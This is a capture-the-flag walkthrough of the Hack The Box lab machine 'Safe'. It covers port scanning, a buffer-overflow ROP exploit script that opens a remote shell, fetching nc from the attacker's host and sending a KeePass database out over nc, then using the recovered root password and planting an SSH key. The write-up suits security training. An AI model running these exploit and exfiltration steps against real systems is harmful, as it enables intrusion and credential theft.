Safe

2020-03-25 00:00:00 +0000

safe

Safe is another box from TJNull’s list of OSCP-like boxes from the HTB ‘retired’ archive. It is rated as ‘more challenging than OSCP, but good practice’.

nmap first.

Nmap

nmap -sV -Pn -p- --min-rate 10000 10.10.10.147 |tee -a safe.txt

Nmap scan report for 10.10.10.147
Host is up (0.19s latency).
Not shown: 65423 closed ports, 109 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
1337/tcp open  waste?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=3/19%Time=5E73E3C1%P=x86_64-pc-linux-gnu%r(NU
SF:LL,3E,"\x2017:28:40\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x
SF:20average:\x200\.02,\x200\.02,\x200\.00\n")%r(GenericLines,63,"\x2017:2
SF:8:40\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200
SF:\.02,\x200\.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec
SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2017:28:46\x20up\x203\x20min,
SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\.0
SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20
SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2017:28:46\x20up\x203\x20min,\
SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\.00
SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\
SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2017:28:47\x20up\x203\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\
SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO
SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2017:28:47\x20up\x203\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\
SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2017:28:52\x20up\x203\x20min,\x20\
SF:x200\x20users,\x20\x20load\x20average:\x200\.01,\x200\.02,\x200\.00\n")
SF:%r(DNSStatusRequestTCP,3E,"\x2017:28:58\x20up\x203\x20min,\x20\x200\x20
SF:users,\x20\x20load\x20average:\x200\.01,\x200\.01,\x200\.00\n")%r(Help,
SF:67,"\x2017:29:03\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x20a
SF:verage:\x200\.01,\x200\.01,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me
SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2017:29:03
SF:\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.01
SF:,\x200\.01,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x
SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2017:29:04\x20up\
SF:x203\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.01,\x200\
SF:.01,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\
SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2017:29:04\x20up\x203\x20min,\x20\x                                         
SF:200\x20users,\x20\x20load\x20average:\x200\.01,\x200\.01,\x200\.00\n\nW                                         
SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");                                         
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


gobuster dir -u http://10.10.10.147/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t40 -x .php,.txt

The webpage is the default Apache index.html, but in the source there is a hint.

web-hint

Browsing to http://10.10.10.147/myapp gives us a binary to download.

 file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped

64-bit ELF binary!


Im going to use gdb-peda to work with this binary; but before opening it up it’s helpful to find out what, if any, protections are in place on it.

Running checksec at myapp reveals NX enabled, so we cannot run shellcode directly in the exploit.

checksec


GDB-PEDA

Open myapp inside gdb-peda with:

gdb myapp

After initally running the binary, it seems that gdb-peda follows the child process, to select gdb to follow the parent process instead use:

set follow-fork-mode parent

Take a look at main in the disassembler:

main


Like metasploit-framework’s pattern_create.rb and pattern_offset.rb we can work out the offset, or point just as the program crashes.

The following command will create a random pattern and save it to file called ab, which we can call as input later.

pattern create 200 ab

If we check our Kali pwd, with ls we find ab, look at it with cat:

cat ab

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Now run the program and crash it with the contents of ab:

r < ab

1stcrash


Look at the stack section of the report; the value at the top of the stack will help give us our offset.

pattern offset can calculate this offset, which is the number of bytes that were processed before that pattern left at the top of the stack.

gdb-peda$ pattern offset jAA9AAOA
jAA9AAOA found at offset: 120   

To check our findings create a pattern of 120 character ‘A’s and append 8 character ‘B’s to it followed by a bunch of ‘C’s for padding, say 100 of them.

From the terminal outside peda, we can use a python command to quickly generate this.

python -c 'print "A"*120 + "B"*8 + "C"*100' > bb

check it with cat

cat bb

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Now run it as input to myapp in gdb-peda.

r < bb

The result confirms our control.

bb


Since we can’t input shellcode, we need to use a ROP exploit, First lets check the functions.

info functions

infofunctions

The address of the system function is 0x401040, but there’s also a test function here (0x401152) that isn’t called by the program.

disas test

This gives us more info on the test function.

testfunc

The contents of rbp moves through rsp and into rdi, then the function jumps (jmp) to r13

We can use ropper

ropper -f myapp |grep r13

This returns only the rop gadgets found that mention r13.

ropper

This looks like a good candidate:

0x0000000000401206: pop r13; pop r14; pop r15; ret;

The ROP gadget is at 0x401206

We have all the info we need to write a simple exploit.


The system call is at 0x401040

The test function call is at 0x401152

The ROP gadget is at 0x401206

We don’t need r14 or r15, so fill them with Bs and Cs

We need to put our shell invocation (/bin/bash\x00) in the rpb to be moved to the rdi register via the test() function; so we need to amend the buffer to include the command.


Here’s the exploit:


#/usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")

shell = "/bin/sh\x00"
buf = "A" * (120 - len(shell))
system = p64(0x401040)
pop_r13 = p64(0x401206)
r14 = "B" * 8
r15 = "C" * 8
test = p64(0x401152)

payload = buf + shell + pop_r13 + system + r14 + r15 + test

p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
p.interactive()


We get an interactive shell:

1337-shell

and the user flag:

$ cat /home/user/user.txt
7axxxxxxxxxxxxxxxxxxxxxxxxxxx90

Privilege Escalation

The contents of /home/user are interesting.

homeuser

I want to get these files back to Kali to play with, but the current shell is rubbish, and I cant get a better one with python.

I create a working directory

mkdir /var/tmp/boo

from there I use wget to put nc on the target….its hosted on kali by a simple python webserver.

wget http://10.10.14.24/nc

Use chmod to make it executable

chmod +x /var/tmp/boo/nc

use nc to transfer the files:

on Kali

nc -nlvp 8888 > MyPasswords.kdbx

Then on Safe from /home/user

/var/tmp/boo/nc 10.10.14.24 8888 < MyPasswords.kdbx

repeat this process with the JPG files.

After the second .jpg file I realised there was an easier way.

I copied the contents of the /home/user directory to /var/tmp/boo

cp * /var/tmp/boo/

then changed to /var/tmp and used tar to compress the directory and send the resulting tarball.

cd /var/tmp
tar -czvf boo.tar.gz boo
mv boo.tar.gz boo/
cd boo
./nc 10.10.14.24 8888 < boo.tar.gz

on kali

nc -nlvp 8888 > boo.tar.gz

then decompress it.

tar -xvzf boo.tar.gz

better!


keepass2john + john

Keepass is a password manager, MyPasswords.kdbx is the database file containing the info we want, and one of these .JPG files contain the master password to access the file.

We need to use keepass2john to reformat the files in a way john can handle to crack the password.

for i in $(ls *.JPG);do keepass2john -k $i MyPasswords.kdbx > hash.txt;done;john -w=/root/wordlists/rockyou-30.txt hash.txt

bullshit

###########

We can use kpcli (keepass cli) to access the database.

kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx

The database contains the root password.

root@kali:~/HTB/retired/safe/boo# kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password                                                          
kpcli:/MyPasswords> show -f Root\ password

 Path: /MyPasswords/
Title: Root password
Uname: root
 Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
  URL: 
Notes: 

kpcli:/MyPasswords> 

root/u3v2249dl9ptv465cogl3cnpo3fyhk


ssh in as root:

ssh root@10.10.10.147
root@10.10.10.147's password: 
Permission denied, please try again.
root@10.10.10.147's password: 
Permission denied, please try again.
root@10.10.10.147's password: 
root@10.10.10.147: Permission denied (publickey,password).


Copy ssh public rsa to Authorized_keys

we can generate some ssh id_rsa keys, inject the public one into the user’s Authorized_keys and ssh as user.

ssh-keygen -t rsa

Select the pwd to save the files.

cat id_rsa.pub

copy the key, then echo it into an authorized_keys file.

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/GpLAJJntS2Fkv <----snip--->" > /home/user/.ssh/authorized_keys

Then use the counterpart private key to log in.

ssh -i id_rsa user@10.10.10.147

su - to root with the recovered password and get the flag.


user@safe:~$ su -
Password: 
root@safe:~# cat /root/root.txt
d7xxxxxxxxxxxxxxxxxxxxxxxxxxxx53
root@safe:~# 

:)